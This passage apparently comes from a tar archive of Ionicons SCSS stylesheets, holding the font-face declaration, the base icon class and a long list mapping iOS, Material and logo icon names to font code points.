  Ionicons, v#{$ionicons-version}
  Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
  https://twitter.com/benjsperry  https://twitter.com/ionicframework
  MIT License: https://github.com/driftyco/ionicons

  Android-style icons originally built by Google’s
  Material Design Icons: https://github.com/google/material-design-icons
  used under CC BY http://creativecommons.org/licenses/by/4.0/
  Modified icons to fit ionicon’s grid from original.
*/

// Ionicons
// --------------------------

@font-face {
 font-family: "Ionicons";
 src:url("#{$ionicons-font-path}/ionicons.eot?v=#{$ionicons-version}");
 src:url("#{$ionicons-font-path}/ionicons.eot?v=#{$ionicons-version}#iefix") format("embedded-opentype"),
  url("#{$ionicons-font-path}/ionicons.woff2?v=#{$ionicons-version}") format("woff2"),
  url("#{$ionicons-font-path}/ionicons.woff?v=#{$ionicons-version}") format("woff"),
  url("#{$ionicons-font-path}/ionicons.ttf?v=#{$ionicons-version}") format("truetype"),
  url("#{$ionicons-font-path}/ionicons.svg?v=#{$ionicons-version}#Ionicons") format("svg");
 font-weight: normal;
 font-style: normal;
}

.ion {
  display: inline-block;
  font-family: "Ionicons";
  speak: none;
  font-style: normal;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  text-rendering: auto;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

@import "ionicons-common";
@import "ionicons-icons";
scss/ionicons-core.scss000064400000001045151701353760011173 0ustar00@import "ionicons-variables";
/*!
  Ionicons, v#{$ionicons-version}
  Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
  https://twitter.com/benjsperry  https://twitter.com/ionicframework
  MIT License: https://github.com/driftyco/ionicons

  Android-style icons originally built by Google’s
  Material Design Icons: https://github.com/google/material-design-icons
  used under CC BY http://creativecommons.org/licenses/by/4.0/
  Modified icons to fit ionicon’s grid from original.
*/

@import "ionicons-icons";
scss/ionicons-icons.scss000064400000100741151701353760011361 0ustar00@charset "UTF-8";
// Ionicons Icon Font CSS
// --------------------------

.ion-ios-add:before { content: "\f102"; }
.ion-ios-add-circle:before { content: "\f101"; }
.ion-ios-add-circle-outline:before { content: "\f100"; }
.ion-ios-airplane:before { content: "\f137"; }
.ion-ios-alarm:before { content: "\f3c8"; }
.ion-ios-albums:before { content: "\f3ca"; }
.ion-ios-alert:before { content: "\f104"; }
.ion-ios-american-football:before { content: "\f106"; }
.ion-ios-analytics:before { content: "\f3ce"; }
.ion-ios-aperture:before { content: "\f108"; }
.ion-ios-apps:before { content: "\f10a"; }
.ion-ios-appstore:before { content: "\f10c"; }
.ion-ios-archive:before { content: "\f10e"; }
.ion-ios-arrow-back:before { content: "\f3cf"; }
.ion-ios-arrow-down:before { content: "\f3d0"; }
.ion-ios-arrow-dropdown:before { content: "\f110"; }
.ion-ios-arrow-dropdown-circle:before { content: "\f125"; }
.ion-ios-arrow-dropleft:before { content: "\f112"; }
.ion-ios-arrow-dropleft-circle:before { content: "\f129"; }
.ion-ios-arrow-dropright:before { content: "\f114"; }
.ion-ios-arrow-dropright-circle:before { content: "\f12b"; }
.ion-ios-arrow-dropup:before { content: "\f116"; }
.ion-ios-arrow-dropup-circle:before { content: "\f12d"; }
.ion-ios-arrow-forward:before { content: "\f3d1"; }
.ion-ios-arrow-round-back:before { content: "\f117"; }
.ion-ios-arrow-round-down:before { content: "\f118"; }
.ion-ios-arrow-round-forward:before { content: "\f119"; }
.ion-ios-arrow-round-up:before { content: "\f11a"; }
.ion-ios-arrow-up:before { content: "\f3d8"; }
.ion-ios-at:before { content: "\f3da"; }
.ion-ios-attach:before { content: "\f11b"; }
.ion-ios-backspace:before { content: "\f11d"; }
.ion-ios-barcode:before { content: "\f3dc"; }
.ion-ios-baseball:before { content: "\f3de"; }
.ion-ios-basket:before { content: "\f11f"; }
.ion-ios-basketball:before { content: "\f3e0"; }
.ion-ios-battery-charging:before { content: "\f120"; }
.ion-ios-battery-dead:before { content: "\f121"; }
.ion-ios-battery-full:before { content: "\f122"; }
.ion-ios-beaker:before { content: "\f124"; }
.ion-ios-bed:before { content: "\f139"; }
.ion-ios-beer:before { content: "\f126"; }
.ion-ios-bicycle:before { content: "\f127"; }
.ion-ios-bluetooth:before { content: "\f128"; }
.ion-ios-boat:before { content: "\f12a"; }
.ion-ios-body:before { content: "\f3e4"; }
.ion-ios-bonfire:before { content: "\f12c"; }
.ion-ios-book:before { content: "\f3e8"; }
.ion-ios-bookmark:before { content: "\f12e"; }
.ion-ios-bookmarks:before { content: "\f3ea"; }
.ion-ios-bowtie:before { content: "\f130"; }
.ion-ios-briefcase:before { content: "\f3ee"; }
.ion-ios-browsers:before { content: "\f3f0"; }
.ion-ios-brush:before { content: "\f132"; }
.ion-ios-bug:before { content: "\f134"; }
.ion-ios-build:before { content: "\f136"; }
.ion-ios-bulb:before { content: "\f138"; }
.ion-ios-bus:before { content: "\f13a"; }
.ion-ios-business:before { content: "\f1a3"; }
.ion-ios-cafe:before { content: "\f13c"; }
.ion-ios-calculator:before { content: "\f3f2"; }
.ion-ios-calendar:before { content: "\f3f4"; }
.ion-ios-call:before { content: "\f13e"; }
.ion-ios-camera:before { content: "\f3f6"; }
.ion-ios-car:before { content: "\f140"; }
.ion-ios-card:before { content: "\f142"; }
.ion-ios-cart:before { content: "\f3f8"; }
.ion-ios-cash:before { content: "\f144"; }
.ion-ios-cellular:before { content: "\f13d"; }
.ion-ios-chatboxes:before { content: "\f3fa"; }
.ion-ios-chatbubbles:before { content: "\f146"; }
.ion-ios-checkbox:before { content: "\f148"; }
.ion-ios-checkbox-outline:before { content: "\f147"; }
.ion-ios-checkmark:before { content: "\f3ff"; }
.ion-ios-checkmark-circle:before { content: "\f14a"; }
.ion-ios-checkmark-circle-outline:before { content: "\f149"; }
.ion-ios-clipboard:before { content: "\f14c"; }
.ion-ios-clock:before { content: "\f403"; }
.ion-ios-close:before { content: "\f406"; }
.ion-ios-close-circle:before { content: "\f14e"; }
.ion-ios-close-circle-outline:before { content: "\f14d"; }
.ion-ios-cloud:before { content: "\f40c"; }
.ion-ios-cloud-circle:before { content: "\f152"; }
.ion-ios-cloud-done:before { content: "\f154"; }
.ion-ios-cloud-download:before { content: "\f408"; }
.ion-ios-cloud-outline:before { content: "\f409"; }
.ion-ios-cloud-upload:before { content: "\f40b"; }
.ion-ios-cloudy:before { content: "\f410"; }
.ion-ios-cloudy-night:before { content: "\f40e"; }
.ion-ios-code:before { content: "\f157"; }
.ion-ios-code-download:before { content: "\f155"; }
.ion-ios-code-working:before { content: "\f156"; }
.ion-ios-cog:before { content: "\f412"; }
.ion-ios-color-fill:before { content: "\f159"; }
.ion-ios-color-filter:before { content: "\f414"; }
.ion-ios-color-palette:before { content: "\f15b"; }
.ion-ios-color-wand:before { content: "\f416"; }
.ion-ios-compass:before { content: "\f15d"; }
.ion-ios-construct:before { content: "\f15f"; }
.ion-ios-contact:before { content: "\f41a"; }
.ion-ios-contacts:before { content: "\f161"; }
.ion-ios-contract:before { content: "\f162"; }
.ion-ios-contrast:before { content: "\f163"; }
.ion-ios-copy:before { content: "\f41c"; }
.ion-ios-create:before { content: "\f165"; }
.ion-ios-crop:before { content: "\f41e"; }
.ion-ios-cube:before { content: "\f168"; }
.ion-ios-cut:before { content: "\f16a"; }
.ion-ios-desktop:before { content: "\f16c"; }
.ion-ios-disc:before { content: "\f16e"; }
.ion-ios-document:before { content: "\f170"; }
.ion-ios-done-all:before { content: "\f171"; }
.ion-ios-download:before { content: "\f420"; }
.ion-ios-easel:before { content: "\f173"; }
.ion-ios-egg:before { content: "\f175"; }
.ion-ios-exit:before { content: "\f177"; }
.ion-ios-expand:before { content: "\f178"; }
.ion-ios-eye:before { content: "\f425"; }
.ion-ios-eye-off:before { content: "\f17a"; }
.ion-ios-fastforward:before { content: "\f427"; }
.ion-ios-female:before { content: "\f17b"; }
.ion-ios-filing:before { content: "\f429"; }
.ion-ios-film:before { content: "\f42b"; }
.ion-ios-finger-print:before { content: "\f17c"; }
.ion-ios-fitness:before { content: "\f1ab"; }
.ion-ios-flag:before { content: "\f42d"; }
.ion-ios-flame:before { content: "\f42f"; }
.ion-ios-flash:before { content: "\f17e"; }
.ion-ios-flash-off:before { content: "\f12f"; }
.ion-ios-flashlight:before { content: "\f141"; }
.ion-ios-flask:before { content: "\f431"; }
.ion-ios-flower:before { content: "\f433"; }
.ion-ios-folder:before { content: "\f435"; }
.ion-ios-folder-open:before { content: "\f180"; }
.ion-ios-football:before { content: "\f437"; }
.ion-ios-funnel:before { content: "\f182"; }
.ion-ios-gift:before { content: "\f191"; }
.ion-ios-git-branch:before { content: "\f183"; }
.ion-ios-git-commit:before { content: "\f184"; }
.ion-ios-git-compare:before { content: "\f185"; }
.ion-ios-git-merge:before { content: "\f186"; }
.ion-ios-git-network:before { content: "\f187"; }
.ion-ios-git-pull-request:before { content: "\f188"; }
.ion-ios-glasses:before { content: "\f43f"; }
.ion-ios-globe:before { content: "\f18a"; }
.ion-ios-grid:before { content: "\f18c"; }
.ion-ios-hammer:before { content: "\f18e"; }
.ion-ios-hand:before { content: "\f190"; }
.ion-ios-happy:before { content: "\f192"; }
.ion-ios-headset:before { content: "\f194"; }
.ion-ios-heart:before { content: "\f443"; }
.ion-ios-heart-dislike:before { content: "\f13f"; }
.ion-ios-heart-empty:before { content: "\f19b"; }
.ion-ios-heart-half:before { content: "\f19d"; }
.ion-ios-help:before { content: "\f446"; }
.ion-ios-help-buoy:before { content: "\f196"; }
.ion-ios-help-circle:before { content: "\f198"; }
.ion-ios-help-circle-outline:before { content: "\f197"; }
.ion-ios-home:before { content: "\f448"; }
.ion-ios-hourglass:before { content: "\f103"; }
.ion-ios-ice-cream:before { content: "\f19a"; }
.ion-ios-image:before { content: "\f19c"; }
.ion-ios-images:before { content: "\f19e"; }
.ion-ios-infinite:before { content: "\f44a"; }
.ion-ios-information:before { content: "\f44d"; }
.ion-ios-information-circle:before { content: "\f1a0"; }
.ion-ios-information-circle-outline:before { content: "\f19f"; }
.ion-ios-jet:before { content: "\f1a5"; }
.ion-ios-journal:before { content: "\f189"; }
.ion-ios-key:before { content: "\f1a7"; }
.ion-ios-keypad:before { content: "\f450"; }
.ion-ios-laptop:before { content: "\f1a8"; }
.ion-ios-leaf:before { content: "\f1aa"; }
.ion-ios-link:before { content: "\f22a"; }
.ion-ios-list:before { content: "\f454"; }
.ion-ios-list-box:before { content: "\f143"; }
.ion-ios-locate:before { content: "\f1ae"; }
.ion-ios-lock:before { content: "\f1b0"; }
.ion-ios-log-in:before { content: "\f1b1"; }
.ion-ios-log-out:before { content: "\f1b2"; }
.ion-ios-magnet:before { content: "\f1b4"; }
.ion-ios-mail:before { content: "\f1b8"; }
.ion-ios-mail-open:before { content: "\f1b6"; }
.ion-ios-mail-unread:before { content: "\f145"; }
.ion-ios-male:before { content: "\f1b9"; }
.ion-ios-man:before { content: "\f1bb"; }
.ion-ios-map:before { content: "\f1bd"; }
.ion-ios-medal:before { content: "\f1bf"; }
.ion-ios-medical:before { content: "\f45c"; }
.ion-ios-medkit:before { content: "\f45e"; }
.ion-ios-megaphone:before { content: "\f1c1"; }
.ion-ios-menu:before { content: "\f1c3"; }
.ion-ios-mic:before { content: "\f461"; }
.ion-ios-mic-off:before { content: "\f45f"; }
.ion-ios-microphone:before { content: "\f1c6"; }
.ion-ios-moon:before { content: "\f468"; }
.ion-ios-more:before { content: "\f1c8"; }
.ion-ios-move:before { content: "\f1cb"; }
.ion-ios-musical-note:before { content: "\f46b"; }
.ion-ios-musical-notes:before { content: "\f46c"; }
.ion-ios-navigate:before { content: "\f46e"; }
.ion-ios-notifications:before { content: "\f1d3"; }
.ion-ios-notifications-off:before { content: "\f1d1"; }
.ion-ios-notifications-outline:before { content: "\f133"; }
.ion-ios-nuclear:before { content: "\f1d5"; }
.ion-ios-nutrition:before { content: "\f470"; }
.ion-ios-open:before { content: "\f1d7"; }
.ion-ios-options:before { content: "\f1d9"; }
.ion-ios-outlet:before { content: "\f1db"; }
.ion-ios-paper:before { content: "\f472"; }
.ion-ios-paper-plane:before { content: "\f1dd"; }
.ion-ios-partly-sunny:before { content: "\f1df"; }
.ion-ios-pause:before { content: "\f478"; }
.ion-ios-paw:before { content: "\f47a"; }
.ion-ios-people:before { content: "\f47c"; }
.ion-ios-person:before { content: "\f47e"; }
.ion-ios-person-add:before { content: "\f1e1"; }
.ion-ios-phone-landscape:before { content: "\f1e2"; }
.ion-ios-phone-portrait:before { content: "\f1e3"; }
.ion-ios-photos:before { content: "\f482"; }
.ion-ios-pie:before { content: "\f484"; }
.ion-ios-pin:before { content: "\f1e5"; }
.ion-ios-pint:before { content: "\f486"; }
.ion-ios-pizza:before { content: "\f1e7"; }
.ion-ios-planet:before { content: "\f1eb"; }
.ion-ios-play:before { content: "\f488"; }
.ion-ios-play-circle:before { content: "\f113"; }
.ion-ios-podium:before { content: "\f1ed"; }
.ion-ios-power:before { content: "\f1ef"; }
.ion-ios-pricetag:before { content: "\f48d"; }
.ion-ios-pricetags:before { content: "\f48f"; }
.ion-ios-print:before { content: "\f1f1"; }
.ion-ios-pulse:before { content: "\f493"; }
.ion-ios-qr-scanner:before { content: "\f1f3"; }
.ion-ios-quote:before { content: "\f1f5"; }
.ion-ios-radio:before { content: "\f1f9"; }
.ion-ios-radio-button-off:before { content: "\f1f6"; }
.ion-ios-radio-button-on:before { content: "\f1f7"; }
.ion-ios-rainy:before { content: "\f495"; }
.ion-ios-recording:before { content: "\f497"; }
.ion-ios-redo:before { content: "\f499"; }
.ion-ios-refresh:before { content: "\f49c"; }
.ion-ios-refresh-circle:before { content: "\f135"; }
.ion-ios-remove:before { content: "\f1fc"; }
.ion-ios-remove-circle:before { content: "\f1fb"; }
.ion-ios-remove-circle-outline:before { content: "\f1fa"; }
.ion-ios-reorder:before { content: "\f1fd"; }
.ion-ios-repeat:before { content: "\f1fe"; }
.ion-ios-resize:before { content: "\f1ff"; }
.ion-ios-restaurant:before { content: "\f201"; }
.ion-ios-return-left:before { content: "\f202"; }
.ion-ios-return-right:before { content: "\f203"; }
.ion-ios-reverse-camera:before { content: "\f49f"; }
.ion-ios-rewind:before { content: "\f4a1"; }
.ion-ios-ribbon:before { content: "\f205"; }
.ion-ios-rocket:before { content: "\f14b"; }
.ion-ios-rose:before { content: "\f4a3"; }
.ion-ios-sad:before { content: "\f207"; }
.ion-ios-save:before { content: "\f1a6"; }
.ion-ios-school:before { content: "\f209"; }
.ion-ios-search:before { content: "\f4a5"; }
.ion-ios-send:before { content: "\f20c"; }
.ion-ios-settings:before { content: "\f4a7"; }
.ion-ios-share:before { content: "\f211"; }
.ion-ios-share-alt:before { content: "\f20f"; }
.ion-ios-shirt:before { content: "\f213"; }
.ion-ios-shuffle:before { content: "\f4a9"; }
.ion-ios-skip-backward:before { content: "\f215"; }
.ion-ios-skip-forward:before { content: "\f217"; }
.ion-ios-snow:before { content: "\f218"; }
.ion-ios-speedometer:before { content: "\f4b0"; }
.ion-ios-square:before { content: "\f21a"; }
.ion-ios-square-outline:before { content: "\f15c"; }
.ion-ios-star:before { content: "\f4b3"; }
.ion-ios-star-half:before { content: "\f4b1"; }
.ion-ios-star-outline:before { content: "\f4b2"; }
.ion-ios-stats:before { content: "\f21c"; }
.ion-ios-stopwatch:before { content: "\f4b5"; }
.ion-ios-subway:before { content: "\f21e"; }
.ion-ios-sunny:before { content: "\f4b7"; }
.ion-ios-swap:before { content: "\f21f"; }
.ion-ios-switch:before { content: "\f221"; }
.ion-ios-sync:before { content: "\f222"; }
.ion-ios-tablet-landscape:before { content: "\f223"; }
.ion-ios-tablet-portrait:before { content: "\f24e"; }
.ion-ios-tennisball:before { content: "\f4bb"; }
.ion-ios-text:before { content: "\f250"; }
.ion-ios-thermometer:before { content: "\f252"; }
.ion-ios-thumbs-down:before { content: "\f254"; }
.ion-ios-thumbs-up:before { content: "\f256"; }
.ion-ios-thunderstorm:before { content: "\f4bd"; }
.ion-ios-time:before { content: "\f4bf"; }
.ion-ios-timer:before { content: "\f4c1"; }
.ion-ios-today:before { content: "\f14f"; }
.ion-ios-train:before { content: "\f258"; }
.ion-ios-transgender:before { content: "\f259"; }
.ion-ios-trash:before { content: "\f4c5"; }
.ion-ios-trending-down:before { content: "\f25a"; }
.ion-ios-trending-up:before { content: "\f25b"; }
.ion-ios-trophy:before { content: "\f25d"; }
.ion-ios-tv:before { content: "\f115"; }
.ion-ios-umbrella:before { content: "\f25f"; }
.ion-ios-undo:before { content: "\f4c7"; }
.ion-ios-unlock:before { content: "\f261"; }
.ion-ios-videocam:before { content: "\f4cd"; }
.ion-ios-volume-high:before { content: "\f11c"; }
.ion-ios-volume-low:before { content: "\f11e"; }
.ion-ios-volume-mute:before { content: "\f263"; }
.ion-ios-volume-off:before { content: "\f264"; }
.ion-ios-walk:before { content: "\f266"; }
.ion-ios-wallet:before { content: "\f18b"; }
.ion-ios-warning:before { content: "\f268"; }
.ion-ios-watch:before { content: "\f269"; }
.ion-ios-water:before { content: "\f26b"; }
.ion-ios-wifi:before { content: "\f26d"; }
.ion-ios-wine:before { content: "\f26f"; }
.ion-ios-woman:before { content: "\f271"; }
.ion-logo-android:before { content: "\f225"; }
.ion-logo-angular:before { content: "\f227"; }
.ion-logo-apple:before { content: "\f229"; }
.ion-logo-bitbucket:before { content: "\f193"; }
.ion-logo-bitcoin:before { content: "\f22b"; }
.ion-logo-buffer:before { content: "\f22d"; }
.ion-logo-chrome:before { content: "\f22f"; }
.ion-logo-closed-captioning:before { content: "\f105"; }
.ion-logo-codepen:before { content: "\f230"; }
.ion-logo-css3:before { content: "\f231"; }
.ion-logo-designernews:before { content: "\f232"; }
.ion-logo-dribbble:before { content: "\f233"; }
.ion-logo-dropbox:before { content: "\f234"; }
.ion-logo-euro:before { content: "\f235"; }
.ion-logo-facebook:before { content: "\f236"; }
.ion-logo-flickr:before { content: "\f107"; }
.ion-logo-foursquare:before { content: "\f237"; }
.ion-logo-freebsd-devil:before { content: "\f238"; }
.ion-logo-game-controller-a:before { content: "\f13b"; }
.ion-logo-game-controller-b:before { content: "\f181"; }
.ion-logo-github:before { content: "\f239"; }
.ion-logo-google:before { content: "\f23a"; }
.ion-logo-googleplus:before { content: "\f23b"; }
.ion-logo-hackernews:before { content: "\f23c"; }
.ion-logo-html5:before { content: "\f23d"; }
.ion-logo-instagram:before { content: "\f23e"; }
.ion-logo-ionic:before { content: "\f150"; }
.ion-logo-ionitron:before { content: "\f151"; }
.ion-logo-javascript:before { content: "\f23f"; }
.ion-logo-linkedin:before { content: "\f240"; }
.ion-logo-markdown:before { content: "\f241"; }
.ion-logo-model-s:before { content: "\f153"; }
.ion-logo-no-smoking:before { content: "\f109"; }
.ion-logo-nodejs:before { content: "\f242"; }
.ion-logo-npm:before { content: "\f195"; }
.ion-logo-octocat:before { content: "\f243"; }
.ion-logo-pinterest:before { content: "\f244"; }
.ion-logo-playstation:before { content: "\f245"; }
.ion-logo-polymer:before { content: "\f15e"; }
.ion-logo-python:before { content: "\f246"; }
.ion-logo-reddit:before { content: "\f247"; }
.ion-logo-rss:before { content: "\f248"; }
.ion-logo-sass:before { content: "\f249"; }
.ion-logo-skype:before { content: "\f24a"; }
.ion-logo-slack:before { content: "\f10b"; }
.ion-logo-snapchat:before { content: "\f24b"; }
.ion-logo-steam:before { content: "\f24c"; }
.ion-logo-tumblr:before { content: "\f24d"; }
.ion-logo-tux:before { content: "\f2ae"; }
.ion-logo-twitch:before { content: "\f2af"; }
.ion-logo-twitter:before { content: "\f2b0"; }
.ion-logo-usd:before { content: "\f2b1"; }
.ion-logo-vimeo:before { content: "\f2c4"; }
.ion-logo-vk:before { content: "\f10d"; }
.ion-logo-whatsapp:before { content: "\f2c5"; }
.ion-logo-windows:before { content: "\f32f"; }
.ion-logo-wordpress:before { content: "\f330"; }
.ion-logo-xbox:before { content: "\f34c"; }
.ion-logo-xing:before { content: "\f10f"; }
.ion-logo-yahoo:before { content: "\f34d"; }
.ion-logo-yen:before { content: "\f34e"; }
.ion-logo-youtube:before { content: "\f34f"; }
.ion-md-add:before { content: "\f273"; }
.ion-md-add-circle:before { content: "\f272"; }
.ion-md-add-circle-outline:before { content: "\f158"; }
.ion-md-airplane:before { content: "\f15a"; }
.ion-md-alarm:before { content: "\f274"; }
.ion-md-albums:before { content: "\f275"; }
.ion-md-alert:before { content: "\f276"; }
.ion-md-american-football:before { content: "\f277"; }
.ion-md-analytics:before { content: "\f278"; }
.ion-md-aperture:before { content: "\f279"; }
.ion-md-apps:before { content: "\f27a"; }
.ion-md-appstore:before { content: "\f27b"; }
.ion-md-archive:before { content: "\f27c"; }
.ion-md-arrow-back:before { content: "\f27d"; }
.ion-md-arrow-down:before { content: "\f27e"; }
.ion-md-arrow-dropdown:before { content: "\f280"; }
.ion-md-arrow-dropdown-circle:before { content: "\f27f"; }
.ion-md-arrow-dropleft:before { content: "\f282"; }
.ion-md-arrow-dropleft-circle:before { content: "\f281"; }
.ion-md-arrow-dropright:before { content: "\f284"; }
.ion-md-arrow-dropright-circle:before { content: "\f283"; }
.ion-md-arrow-dropup:before { content: "\f286"; }
.ion-md-arrow-dropup-circle:before { content: "\f285"; }
.ion-md-arrow-forward:before { content: "\f287"; }
.ion-md-arrow-round-back:before { content: "\f288"; }
.ion-md-arrow-round-down:before { content: "\f289"; }
.ion-md-arrow-round-forward:before { content: "\f28a"; }
.ion-md-arrow-round-up:before { content: "\f28b"; }
.ion-md-arrow-up:before { content: "\f28c"; }
.ion-md-at:before { content: "\f28d"; }
.ion-md-attach:before { content: "\f28e"; }
.ion-md-backspace:before { content: "\f28f"; }
.ion-md-barcode:before { content: "\f290"; }
.ion-md-baseball:before { content: "\f291"; }
.ion-md-basket:before { content: "\f292"; }
.ion-md-basketball:before { content: "\f293"; }
.ion-md-battery-charging:before { content: "\f294"; }
.ion-md-battery-dead:before { content: "\f295"; }
.ion-md-battery-full:before { content: "\f296"; }
.ion-md-beaker:before { content: "\f297"; }
.ion-md-bed:before { content: "\f160"; }
.ion-md-beer:before { content: "\f298"; }
.ion-md-bicycle:before { content: "\f299"; }
.ion-md-bluetooth:before { content: "\f29a"; }
.ion-md-boat:before { content: "\f29b"; }
.ion-md-body:before { content: "\f29c"; }
.ion-md-bonfire:before { content: "\f29d"; }
.ion-md-book:before { content: "\f29e"; }
.ion-md-bookmark:before { content: "\f29f"; }
.ion-md-bookmarks:before { content: "\f2a0"; }
.ion-md-bowtie:before { content: "\f2a1"; }
.ion-md-briefcase:before { content: "\f2a2"; }
.ion-md-browsers:before { content: "\f2a3"; }
.ion-md-brush:before { content: "\f2a4"; }
.ion-md-bug:before { content: "\f2a5"; }
.ion-md-build:before { content: "\f2a6"; }
.ion-md-bulb:before { content: "\f2a7"; }
.ion-md-bus:before { content: "\f2a8"; }
.ion-md-business:before { content: "\f1a4"; }
.ion-md-cafe:before { content: "\f2a9"; }
.ion-md-calculator:before { content: "\f2aa"; }
.ion-md-calendar:before { content: "\f2ab"; }
.ion-md-call:before { content: "\f2ac"; }
.ion-md-camera:before { content: "\f2ad"; }
.ion-md-car:before { content: "\f2b2"; }
.ion-md-card:before { content: "\f2b3"; }
.ion-md-cart:before { content: "\f2b4"; }
.ion-md-cash:before { content: "\f2b5"; }
.ion-md-cellular:before { content: "\f164"; }
.ion-md-chatboxes:before { content: "\f2b6"; }
.ion-md-chatbubbles:before { content: "\f2b7"; }
.ion-md-checkbox:before { content: "\f2b9"; }
.ion-md-checkbox-outline:before { content: "\f2b8"; }
.ion-md-checkmark:before { content: "\f2bc"; }
.ion-md-checkmark-circle:before { content: "\f2bb"; }
.ion-md-checkmark-circle-outline:before { content: "\f2ba"; }
.ion-md-clipboard:before { content: "\f2bd"; }
.ion-md-clock:before { content: "\f2be"; }
.ion-md-close:before { content: "\f2c0"; }
.ion-md-close-circle:before { content: "\f2bf"; }
.ion-md-close-circle-outline:before { content: "\f166"; }
.ion-md-cloud:before { content: "\f2c9"; }
.ion-md-cloud-circle:before { content: "\f2c2"; }
.ion-md-cloud-done:before { content: "\f2c3"; }
.ion-md-cloud-download:before { content: "\f2c6"; }
.ion-md-cloud-outline:before { content: "\f2c7"; }
.ion-md-cloud-upload:before { content: "\f2c8"; }
.ion-md-cloudy:before { content: "\f2cb"; }
.ion-md-cloudy-night:before { content: "\f2ca"; }
.ion-md-code:before { content: "\f2ce"; }
.ion-md-code-download:before { content: "\f2cc"; }
.ion-md-code-working:before { content: "\f2cd"; }
.ion-md-cog:before { content: "\f2cf"; }
.ion-md-color-fill:before { content: "\f2d0"; }
.ion-md-color-filter:before { content: "\f2d1"; }
.ion-md-color-palette:before { content: "\f2d2"; }
.ion-md-color-wand:before { content: "\f2d3"; }
.ion-md-compass:before { content: "\f2d4"; }
.ion-md-construct:before { content: "\f2d5"; }
.ion-md-contact:before { content: "\f2d6"; }
.ion-md-contacts:before { content: "\f2d7"; }
.ion-md-contract:before { content: "\f2d8"; }
.ion-md-contrast:before { content: "\f2d9"; }
.ion-md-copy:before { content: "\f2da"; }
.ion-md-create:before { content: "\f2db"; }
.ion-md-crop:before { content: "\f2dc"; }
.ion-md-cube:before { content: "\f2dd"; }
.ion-md-cut:before { content: "\f2de"; }
.ion-md-desktop:before { content: "\f2df"; }
.ion-md-disc:before { content: "\f2e0"; }
.ion-md-document:before { content: "\f2e1"; }
.ion-md-done-all:before { content: "\f2e2"; }
.ion-md-download:before { content: "\f2e3"; }
.ion-md-easel:before { content: "\f2e4"; }
.ion-md-egg:before { content: "\f2e5"; }
.ion-md-exit:before { content: "\f2e6"; }
.ion-md-expand:before { content: "\f2e7"; }
.ion-md-eye:before { content: "\f2e9"; }
.ion-md-eye-off:before { content: "\f2e8"; }
.ion-md-fastforward:before { content: "\f2ea"; }
.ion-md-female:before { content: "\f2eb"; }
.ion-md-filing:before { content: "\f2ec"; }
.ion-md-film:before { content: "\f2ed"; }
.ion-md-finger-print:before { content: "\f2ee"; }
.ion-md-fitness:before { content: "\f1ac"; }
.ion-md-flag:before { content: "\f2ef"; }
.ion-md-flame:before { content: "\f2f0"; }
.ion-md-flash:before { content: "\f2f1"; }
.ion-md-flash-off:before { content: "\f169"; }
.ion-md-flashlight:before { content: "\f16b"; }
.ion-md-flask:before { content: "\f2f2"; }
.ion-md-flower:before { content: "\f2f3"; }
.ion-md-folder:before { content: "\f2f5"; }
.ion-md-folder-open:before { content: "\f2f4"; }
.ion-md-football:before { content: "\f2f6"; }
.ion-md-funnel:before { content: "\f2f7"; }
.ion-md-gift:before { content: "\f199"; }
.ion-md-git-branch:before { content: "\f2fa"; }
.ion-md-git-commit:before { content: "\f2fb"; }
.ion-md-git-compare:before { content: "\f2fc"; }
.ion-md-git-merge:before { content: "\f2fd"; }
.ion-md-git-network:before { content: "\f2fe"; }
.ion-md-git-pull-request:before { content: "\f2ff"; }
.ion-md-glasses:before { content: "\f300"; }
.ion-md-globe:before { content: "\f301"; }
.ion-md-grid:before { content: "\f302"; }
.ion-md-hammer:before { content: "\f303"; }
.ion-md-hand:before { content: "\f304"; }
.ion-md-happy:before { content: "\f305"; }
.ion-md-headset:before { content: "\f306"; }
.ion-md-heart:before { content: "\f308"; }
.ion-md-heart-dislike:before { content: "\f167"; }
.ion-md-heart-empty:before { content: "\f1a1"; }
.ion-md-heart-half:before { content: "\f1a2"; }
.ion-md-help:before { content: "\f30b"; }
.ion-md-help-buoy:before { content: "\f309"; }
.ion-md-help-circle:before { content: "\f30a"; }
.ion-md-help-circle-outline:before { content: "\f16d"; }
.ion-md-home:before { content: "\f30c"; }
.ion-md-hourglass:before { content: "\f111"; }
.ion-md-ice-cream:before { content: "\f30d"; }
.ion-md-image:before { content: "\f30e"; }
.ion-md-images:before { content: "\f30f"; }
.ion-md-infinite:before { content: "\f310"; }
.ion-md-information:before { content: "\f312"; }
.ion-md-information-circle:before { content: "\f311"; }
.ion-md-information-circle-outline:before { content: "\f16f"; }
.ion-md-jet:before { content: "\f315"; }
.ion-md-journal:before { content: "\f18d"; }
.ion-md-key:before { content: "\f316"; }
.ion-md-keypad:before { content: "\f317"; }
.ion-md-laptop:before { content: "\f318"; }
.ion-md-leaf:before { content: "\f319"; }
.ion-md-link:before { content: "\f22e"; }
.ion-md-list:before { content: "\f31b"; }
.ion-md-list-box:before { content: "\f31a"; }
.ion-md-locate:before { content: "\f31c"; }
.ion-md-lock:before { content: "\f31d"; }
.ion-md-log-in:before { content: "\f31e"; }
.ion-md-log-out:before { content: "\f31f"; }
.ion-md-magnet:before { content: "\f320"; }
.ion-md-mail:before { content: "\f322"; }
.ion-md-mail-open:before { content: "\f321"; }
.ion-md-mail-unread:before { content: "\f172"; }
.ion-md-male:before { content: "\f323"; }
.ion-md-man:before { content: "\f324"; }
.ion-md-map:before { content: "\f325"; }
.ion-md-medal:before { content: "\f326"; }
.ion-md-medical:before { content: "\f327"; }
.ion-md-medkit:before { content: "\f328"; }
.ion-md-megaphone:before { content: "\f329"; }
.ion-md-menu:before { content: "\f32a"; }
.ion-md-mic:before { content: "\f32c"; }
.ion-md-mic-off:before { content: "\f32b"; }
.ion-md-microphone:before { content: "\f32d"; }
.ion-md-moon:before { content: "\f32e"; }
.ion-md-more:before { content: "\f1c9"; }
.ion-md-move:before { content: "\f331"; }
.ion-md-musical-note:before { content: "\f332"; }
.ion-md-musical-notes:before { content: "\f333"; }
.ion-md-navigate:before { content: "\f334"; }
.ion-md-notifications:before { content: "\f338"; }
.ion-md-notifications-off:before { content: "\f336"; }
.ion-md-notifications-outline:before { content: "\f337"; }
.ion-md-nuclear:before { content: "\f339"; }
.ion-md-nutrition:before { content: "\f33a"; }
.ion-md-open:before { content: "\f33b"; }
.ion-md-options:before { content: "\f33c"; }
